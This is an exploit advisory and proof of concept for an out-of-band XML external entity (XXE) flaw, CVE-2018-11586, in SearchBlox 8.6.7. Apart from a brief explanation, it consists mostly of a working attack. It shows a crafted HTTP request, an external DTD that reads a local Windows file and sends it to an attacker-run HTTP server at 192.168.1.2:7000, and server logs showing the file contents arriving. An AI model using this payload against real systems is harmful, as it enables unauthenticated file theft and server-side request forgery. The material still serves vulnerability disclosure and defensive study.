# ExploitTitle:SearchBlox8.6.7Out-Of-BandXML eXternal Entity(OOB-XXE)
# ExploitAuthor:AhmetGUREL,CanberkBOLAT
# SoftwareLink: https://www.searchblox.com/
# Version:<=SearchBloxVersion8.6.7
# Platform:Java
# Tested on:Windows
# CVE:CVE-2018-11586
# 1.DETAILSAnXMLExternalEntity attack is a type of attack against an
application that parses XMLinput. This attack occurs when XML input
containing a reference toan external entity is processed by a weakly
configured XMLparser. This attack may lead tothe disclosure of
confidential data, denial of service, server side request forgery,
port scanning from the perspective of the machine where the parser is
located, and other system impacts. Reference:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
# 2.PoC:XML external entity (XXE) vulnerability in /searchblox/api/rest/status in
SearchBlox8.6.7 allows remote unauthenticated users toread arbitrary
files or conduct server-side request forgery (SSRF) attacks via a crafted
DTD in an XML request.HTTPRequest:
_____________
GET/searchblox/api/rest/status HTTP/1.1Host: localhost:8080User-Agent:Mozilla/5.0(WindowsNT6.1;WOW64; rv:60.0)Gecko/20100101Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=n9uolja8nwkj15nsv66xjlzci;
XSRF-TOKEN=6098a021-0e3c-409f-9da0-b895eff3025d; AdsOnPage=5;
AdsOnSearchPage=5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 140
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE xxe [
<!ENTITY % dtd SYSTEM "http://192.168.1.2:7000/ext.dtd">
%dtd;
%all;
%send;]>
#Ext.dtd File :
_______________
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.1.2:7000/?%file;
'>">
%all;
#HTTP Response:
_______________
Ahmets-MacBook-Pro:Desktop ahmet$ python -m SimpleHTTPServer 7000
Serving HTTP on 0.0.0.0 port 7000 ...
192.168.1.2 - - [03/Jun/2018 15:37:16] "GET /ext.dtd HTTP/1.1" 200 -
192.168.1.2 - - [03/Jun/2018 15:37:16] "GET
/?;%20for%2016-bit%20app%20support%20[fonts]%20[extensions]%20[mci%20extensions]%20[files]%20[Mail]%20MAPI=1
HTTP/1.1" 200 -